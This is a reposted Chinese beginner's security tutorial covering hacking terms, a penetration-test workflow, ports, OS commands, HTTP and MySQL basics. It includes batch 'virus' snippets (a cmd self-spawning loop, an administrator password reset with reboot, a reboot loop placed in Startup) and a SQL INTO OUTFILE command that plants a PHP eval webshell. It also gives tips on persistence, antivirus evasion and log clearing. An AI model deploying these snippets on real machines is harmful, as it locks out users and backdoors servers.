由浅入深学安全-1

news2024/11/26 8:57:08

由浅入深学安全

常用术语解析

肉鸡

肉鸡也称傀儡机,是指可以被黑客远程控制的机器。

比如用灰鸽子等诱导客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。

一句话木马

一句话木马主要用来配合菜刀使用。

  • PHP
  • ASP
  • ASP.NET
  • Customize
菜刀
  1. 文件管理:

    缓存下载目录,并支持离线查看缓存目录;

  2. 虚拟终端:

    人性化的设计,操作方便;(输入HELP查看更多用法),超长命令会分割为5k字节一份,分别管理。

  3. 数据库管理:

    图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,以及支持ADO方式连接的数据库。

Shell和Webshell

Shell其实是主机的管理员权限,例如:

  • Windows中就是PowerShell
  • Linux中就是root权限

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

弱口令

例如“123”、“admin”等,因为这样的口令很容易被别人破解,所以叫弱口令。

弱口令是相对的,它可以根据你所收集到的信息来定制生成。比如你叫张三,你用自己的名字作为后台密码。那么zhangsan1、zhangsan123、zhangsan1314就属于弱口令。

免杀、

免杀的意思就是通过各种方式绕过杀毒软件拦截的过程。

渗透测试一般流程

  1. 信息收集

    1. 域名信息whois——>社工、弱口令
    2. IP、后端——>namp、msf
    3. 找后台——>弱口令
    4. 子域名——>旁站
    5. Web服务器指纹——>寻找相应漏洞
    6. 信息泄露——>phpinfo、物理路径
  2. 漏洞挖掘

    web应用层:

    编辑器、文件包含、文件上传、文件下载、SQL注入、XSS、CSRF、越权、弱口令、逻辑漏洞

    服务器:

    弱口令、Shift后门、msf

  3. 漏洞利用

    漏洞利用的目的是为了拿到自己想要的;

    当遇到一个站你发现同时存在文件上传和命令执行,你选择去利用哪一个?

  4. 权限提升

    从低权限到高权限

    你拿到了webshell,whoami看了下发现是user权限,怎么拿到system1权限呢?

  5. 权限维持

    好不容易拿到了system权限,给服务器加了自己的账号

    可是管理员第二天就把你辛辛苦苦加的账号删了,你气不气?

    所以权限维持很重要!

    1. 隐蔽
    2. 周期查看
    3. 免杀最好
    4. 多种留后门维持权限
  6. 内网渗透

  7. 日志清扫

    你也不想第二天就被查水表吧?

    1. 严谨
    2. 伪装隐藏
    3. 避免机警(删除了全部日志)
  8. 经验总结

    记笔记是个好习惯

    博客,word备份,文档

Windows基础

常见端口及对应的服务
21 ftp
23 Telnet
80 web
80~89 可能是web
443 SSL心脏滴血及一些web漏洞测试
445 SMB
1433 MSSQL
1521 Oracle
2082/2083 cpanel主机管理系统登录(国外使用较多)
2222 DA虚拟主机管理系统登录(国外使用较多)
3128 squid代理默认端口——漫游内网
3306 MySQL
3312/3311 kangle主机管理系统登录
3389 远程桌面
5432 PostgreSQL
5900 vnc
6379 redis未授权
7001.7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000~9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统(国外使用较多)
8649 ganglia
8888 amh/LuManager/宝塔 主机管理系统默认端口
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
常用的cmd命令
echo	eg:echo 1 > 1.txt 输出1到1.txt里面(1个>是覆盖,两个是追加)
dir  查看当前目录结构
d:和cd  d:就是进入d盘目录  cd.是进入当前目录,cd..是进入上一级目录
tree 生成文件树
md 创建目录	rd 删除目录
ipconfig
cls 清屏
copy 复制,拼接文件
move 移动文件
ren 重命名
del 删除文件
ping
type 显示文本文件的内容
reg  注册表
nslookup -d www.baidu.com 探测域名的信息
find
tasklist	任务列表,显示当前的进程列表
ver,winver	ver显示系统的版本,winver弹窗显示系统的版本
start	开启 eg:start calc、start cmd
systeminfo	看系统的信息
logoff	注销
shutdown /s /f /t /a /r /g /l 	关机
telnet 192.168.1.1 远程连接
arp -a 发现同一网段中还有哪些主机
at 安排在特定日期和时间运行命令和程序
net	
实战cmd编写bat病毒

耗尽资源的bat病毒

start cmd #运行cmd
%0	#执行自身,即重新再开一个cmd
image-20221226100754226

锁机病毒

echo net user administrator 123456 > C:\Windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\Windows\Temp\1.bat

无限重启病毒

echo shutdown /r /t 0 >  > C:\Windows\Temp\1.bat
copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Windows系统目录结构与渗透的关系
 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
 #开机自启目录
 C:\Windows\Temp\1.bat
 #重启后自动清空

Linux基础

操作系统分类
  • Windows(商业)——个人PC
  • unix(5万美元)衍生出来Linux(免费开源)——服务器
  • MacOS(氪金)——个人PC

截至2021年12月,全球桌面操作系统市场中,Windows市场占有率为73.72%,远高于其他操作系统,但呈现逐年下滑趋势。位居第二名的是苹果公司OS X,其市占率为15.33%,其他Linux、Chrome OS等占比约10.95%。

什么是Linux

Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。

什么是Kali Linux

基于Debian的Linux操作系统
Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook

Linux目录介绍
/bin 二进制可执行命令
/etc 系统管理和配置文件
/etc/rc.d 启动的配置文件和脚本
/home 用户主目录的基点
/lib 标准程序设计库,又叫动态链接共享库
/sbin 超级管理命令,这里存放的是系统管理员使用的管理程序
/tmp 公共的临时文件存储点
/root 系统管理员的主目录
/mnt 系统提供这个目录是让用户临时挂载其他的文件系统
/lost+found 这个目录平时是空的,系统非正常关机而留下“无家可归”的文件就在这里
/proc 虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息
/var 某些大文件的溢出区,比方说各种服务的日志文件
/usr 最庞大的目录,要用到的应用程序和文件几乎都在这个目录
/usr/bin 重负哦的应用程序
/usr/sbin 超级用户的一些管理程序
基本命令
ls
cd
pwd
vim
touch
mkdir -p
rmdir
rm -f -i -f
cp mv
cat
head、tail
more
ssh
chmod rwx -R 4代表读权限;2代表写权限;1代表可执行权限;0代表没有相应的权限
chown ubuntu:ubuntu 1.txt
find / -name 1.txt
grep配合管道符
useradd #会自动为创建的用户指定主目录、系统shell版本、会在创建时输入用户密码
adduser	#需要使用参数选项指定上述基本设置,如果不适用任何参数,则创建的用户无密码,无主目录,没有指定			shell版本
userdel
sudo
passwd

网络基础

HTTP协议

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web)服务器传输超文本到本地浏览器的传送协议。

HTTP协议工作于客户端-服务端(browser/server)B/S架构上。

浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。WEB服务器根据接收到的请求后,向客户端发送响应信息。

HTTP协议请求方法
  • GET:向指定资源发出显示请求
  • HEAD:和GET一样,但是不传回所有资源内容
  • POST:向指定资源提交数据,数据被包含在请求中
  • PUT:向指定位置上传
  • DELETE:删除所标识的资源
  • OPTIONS:这个方法可使服务器传回该资源所支持的所有HTTP请求方法

用 ’ * ‘ 来代替资源名称,向web服务器发送OPTIONS请求,可以测试服务器功能是否正常运作

HTTP协议请求

请求信息

发出的请求信息(message request)包括以下几个:

  • 请求行(例如GET/images/logo.gif HTTP/1.1,表示从/images目录下请求logo.gif这个文件)
  • 请求头(例如Accept-Language:en)
  • 空行
  • 其他消息体
HTTP协议状态码
  • 1xx:指示信息——表示请求已接收,继续处理
  • 2xx:成功——表示请求已被成功接收,理解,接受
  • 3xx:重定向——要完成请求必须进行更进一步的操作
  • 4xx:客户端错误——请求有语法错误或请求无法实现
  • 5xx:服务器端错误——服务器未能实现合法的请求

常见的状态码:

  • 200 OK 客户端请求成功
  • 400 Bad Request 客户端请求有语法错误,不能被服务器所理解
  • 401 Unauthorized 请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
  • 403 Forbidden 服务器收到请求,但是拒绝提供服务
  • 404 Not Found 请求资源不存在(例如输入了错误的URL)
  • 500 Internal Server Error 服务器发送不可预期的错误
  • 503 Server Unavailable 服务器当前不能处理客户端的请求,一段时间后可能恢复正常
内外网划分
  • IP地址分为:公网IP,私网IP
  • 公网IP(Public)
    • Internet上的路由器中只有到达公网的路由表,没有到达私网的路由表
    • 公网IP由因特网信息中心统一分配和管理
    • ISP需要向Inter NIC申请公网IP
  • 私网IP(Private)
    • 主要用于局域网,下面是保留的私网网段:
      • A类:10.0.0.0/8,1个A类网络
      • B类:172.16.0.0/16~172.31.0.0/16,16个B类网络
      • C类:192.168.0.0/24~192.168.255.0/24,256个C类网络

IPv4一共有2^32 = 42 9496 7296

路由NAT转换将内网IP与internet相连可以解决公网IP不够用的问题

HTML基础

HTML

HTML是用来描述网页的一种语言。HTML指的是超文本标记语言:Hyper Text Markup Language。

HTML不是一种编程语言,而是一种标记语言,标记语言是一套标记标签(markup tag)

HTML使用标记标签来描述网页,HTML文档包含了HTML标签及文本内容,HTML文档也叫做web页面

HTML网页结构
image-20221226163859111 image-20221226163916230
HTML常用标签

http://www.w3school.com.cn/tags/index.asp

数据库基础

关系型数据库概念

关系数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。当前主流的关系型数据库有Oracle、DB2、PostgreSQL、Microsoft SQL Server、Miscrosoft Access、MySQL、浪潮K-DB等

SQL(Structured Query Language)语言是1974年由Boyce和Chamberlin提出的一种介于关系代数与关系演算之间的结构化查询语言,是一个通用的,功能极强的关系型数据库语言。

创建数据库
  1. mysql –h localhost –u root -p
  2. CREATE DATABASE 数据库名;
  3. DROP DATABASE 数据库名;
基本操作
  1. 打开数据库:use [库名]
  2. 当前选择的库状态:SELECT DATABASE();
  3. 显示数据表字段:describe 表名;
  4. 当前库数据表结构:show tables;
MySQL数据类型

https://www.runoob.com/mysql/mysql-data-types.html

表结构操作

创建数据表

​ CREATE TABLE [表名] ([字段名] [字段类型] ([字段要求]) [字段参数], …);

更改数据表

​ ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE

​ ALTER TABLE [表名] ADD PRIMARY KEY ([字段名]

说明:更改表的定义把某个栏位设为主键。

TABLE [表名] DROP PRIMARY KEY ([字段名])

显示ALTER当前表字段:show columns from tablename;

增删改查
  • 添加:INSERT INTO [表名] VALUES(‘’,‘’,…顺序排列的数据);
  • 查询: SELECT * FROM [表名] WHERE ([条件]);
  • 删除:DELETE FROM [表名] WHERE ([条件]);
  • 修改:UPDATE [表名] SET [修改内容如name = ‘destiny’] WHERE [条件];
常用函数

database() user() version()

SELECT LOAD_FILE(‘/1.php’);

select unhex(‘十六进制字符串’) into dumpfile ‘D:/WEB/shell.php’

select’<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’

限制条件:

1)需要知道Web目录的绝对路径。

2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost;

3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

select host from mysql.user into dumpfile '/tmp/user1.txt’;

限制条件:只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏

一点tips

MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:

查看配置项:SHOW VARIABLES LIKE "secure_file_priv“

如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:select 123 into outfile '/var/lib/mysql-files/test1.txt ’

限制mysqld 不允许导入 | 导出:mysqld --secure_file_prive=null

限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:mysqld --secure_file_priv=/tmp/

不对mysqld 的导入 | 导出做限制:cat /etc/my.conf[mysqld]secure_file_priv=
数据库版本很重要!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115974.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java系列】还在为Java运算符而烦恼吗?一篇文章带你解答心中烦恼

返回主篇章         &#x1f447; 【Java】才疏学浅小石Java问道之路 Java基本运算符1. 算数运算符分类运算法则2. 关系运算符分类注意项3. 逻辑运算符分类运算法则4. 短路逻辑运算符分类运算法则5. 赋值运算符拓展6. 三元运算符格式运算法则7. 自增自减运算符分类使用…

12-Golang中的嵌套分支以及switch语句的用法

Golang中的嵌套分支以及switch语句的用法嵌套分支基本介绍基本语法switch基本介绍基本语法流程图使用细节嵌套分支 基本介绍 在一个分支结构中又完整的嵌套了另一个完整的分支结构&#xff0c;里面的分支的结构称为内层分支外面的分支结构称为外层分支 基本语法 if 条件表达…

声明式服务调用OpenFeign

文章目录一. OpenFeign1. Feign 与 OpenFeign二. OpenFeign的使用三. OpenFeign自定义配置1. 修改日志级别2. 超时控制四. OpenFeign性能优化五. OpenFeign最佳实践1. 继承2. 抽取PS: 本文为作者学习笔记&#xff0c;实际技术参加意义不大&#xff0c;本文将持续改进完善。 一…

Doris(二)

目录1、Doris数据的导入和导出1.1 数据导入1.1.1 Broker Load1.1.1.1 适用场景1.1.1.2 基本原理1.1.1.3 基本语法1.1.1.4 导入示例1.1.1.5 查看导入1.1.1.6 取消导入1.1.2 Stream Load1.1.2.1 适用场景1.1.2.2 基本原理1.1.2.3 基本语法1.1.2.4 导入示例1.1.2.5 取消导入1.1.3 …

蓝牙耳机什么牌子好?性价比最高的蓝牙耳机排行榜

近年来&#xff0c;蓝牙耳机品牌与日俱增&#xff0c;可供人们选择的范围也越来越大。当然&#xff0c;主打性价比的蓝牙耳机品牌也有很多&#xff0c;下面&#xff0c;我来给大家分享几款性价比最高的蓝牙耳机&#xff0c;一起来看看吧。 一、南卡小音舱蓝牙耳机 售价&#…

寒潮来袭,这款产品在跨境电商市场卖脱销

年底的寒潮来袭&#xff0c;全球市场热销产品分析跨境电商在年底冬季属于销售旺季&#xff0c;大多数的跨境电商卖家们都开始尽情努力&#xff0c;争取今年获得大批收入&#xff0c;在这个年底既是旺季也是困难季。2022年底旺季时分&#xff0c;有不少产品在跨境电商市场卖脱销…

jQuery index()

jQuery index() 概述 在jQuery中&#xff0c;我们可以使用index()方法来获取当前jQuery对象集合中“指定元素”的索引值。 语法 $(元素).index()说明 index()方法可以接受一个“jQuery对象”或“DOM对象”作为参数&#xff0c;不过一般情况下&#xff0c;我们很少会使用到…

Idea常用快捷键(MacOS和Win平台)持续更新ing~

小名在刚换MacOS系统时总结的一些Idea快捷键&#xff0c;这里小名把Win的对比快捷键和功能都列出来&#xff0c;方便像小名这样“肌肉记忆”的小伙伴顺利过渡&#xff5e; 当然&#xff0c;这些都是小名平日工作常用的快捷键&#xff0c;不熟悉这些快捷键的Win平台小伙伴也可以…

springboot的核心注解详解

springboot的注解详解 Spring Boot 主要优势之一&#xff0c;就是“开箱即用&#xff0c;远离繁琐的配置”。 Spring Boot 架构没有代码生成&#xff0c;也不需要XML配置&#xff0c;有效避免大量的 Maven 导入和各种版本冲突&#xff0c;为 Spring 开发提供一个更快、更广泛…

数字ic后端|分享后端项目中一次分析解决问题的过程

后端ICer经常会在项目中遇到问题&#xff0c;如何解决问题&#xff0c;则体现出经验。今天遇到的一个问题&#xff0c;这里做个记录。同时也希望通过读这篇文章&#xff0c;你也能增加一个解决问题的经验。 相对来说&#xff0c;前端更多的是理论&#xff0c;后端更多的是需要…

Java基础:Lambda表达式方法引用

在使用Lambda表达式的时候&#xff0c;我们实际上传递进去的代码就是一种解决方案&#xff1a;拿什么参数做什么操作。那么考虑一种情况&#xff1a;如果我们在Lambda中所指定的操作方案&#xff0c;已经有地方存在相同方案&#xff0c;那是否还有必要再写重复逻辑&#xff1f;…

学习Python中turtle模块的基本用法(6:其它函数)

除了之前文章中介绍的turtle模块的绘图函数&#xff0c;本文从turtle帮助文档中梳理了其它绘图或状态函数&#xff0c;编写复杂的绘图函数时也用得到&#xff0c;函数清单如下表所示&#xff1a; 序号函数名称说明1turtle.home返回初始坐标 (0,0)&#xff0c;并设置朝向为初始…

MySQL重复与不重复问题

1.查询某个字段不重复的记录 当某个字段有重复的数据&#xff0c;而其他字段数据不一样时&#xff0c;需要查询这些不重复的记录&#xff0c;可以使用distinct关键字配合group by进行查询。 1&#xff09;先看所有的数据 2&#xff09;根据name查询不重复的记录 基本语法 s…

记一次线上fullgc----数据库查询返回大量数据

背景 某服务线上16台机器&#xff0c;晚上八点左右有4台机器突然出现fullgc&#xff0c;而且不止一次 处理流程 1&#xff09;发现机器full gc告警时&#xff0c;立即dump出机器内存快照 2&#xff09;下线问题机器 3&#xff09;分析内存快照&#xff0c;找到问题对象 可以…

JAVA中IO面试题

1.什么是IO I:Input O:Output 通过IO可以完成硬盘文件的读和写。 IO流又叫输入输出流 &#xff0c;输入和输出均是以内存作为参照物。 2. I/O流的分类? 2.1 输入流&#xff0c;输出流 以内存作为参照物&#xff0c; 往内存中去&#xff0c;叫做输入&#xff0c;或者叫做读…

【OpenFeign】【源码+图解】【六】创建FeignClient接口的代理(下)

【OpenFeign】【源码图解】【五】创建FeignClient接口的代理&#xff08;上&#xff09; 目录6.2 RequestTemplate.Factory6.3 创建SynchronousMethodHandler6.4 创建FeignInvocationHandler7. FeignInvocationHandler处理HTTP请求6.2 RequestTemplate.Factory 先看下类图 从类…

sql查询中遇到的一些小小注意点

1.sql子查询 // 最外层查询是查子查询中查询出来的结果 SELECTserverId,sum(revenue) as revenue,sum(orderCount) as orderCount,sum(refundCount) as refundCount,sum(guideRevenue) as guideRevenue,sum(cardCount) as cardCount,sum(activityCount) as activityCount,sum(…

笔试强训(7)

第一题:两种排序方法(网易)两种排序方法_牛客题霸_牛客网 题目描述:考拉有N个字符串&#xff0c;任意两个字符串的长度都不是相同的&#xff0c;考拉现在学习到了两种字符串的排序方法 1)根据字符串的字典序排序&#xff0c;比如说 "car"<"carriage"<…

CodeQL的自动化代码审计之路(下篇)

0x01 前言 CodeQL的自动化代码审计之路&#xff08;上篇&#xff09; CodeQL的自动化代码审计之路&#xff08;中篇&#xff09; 在上一篇文章中&#xff0c;我们基于CodeQL官方提供的sdk实现了自动化查询数据库功能&#xff0c;在文章中也提到实现完整的自动化代码审计还缺…

ggokabeito | 一般般啵~支持ggplot2和ggraph的配色包!~

1写在前面 天真的好冷啊&#xff0c;不知道各位穿秋裤了没有&#xff0c;有没有感冒。&#x1f618; 这期就介绍一下ggokabeito包&#xff0c;是一个支持ggplot2和ggraph的即用型配色包&#xff0c;喜欢就去安装吧。&#x1f92a; 再放一张去年拍的雪人照片&#xff0c;哈哈哈哈…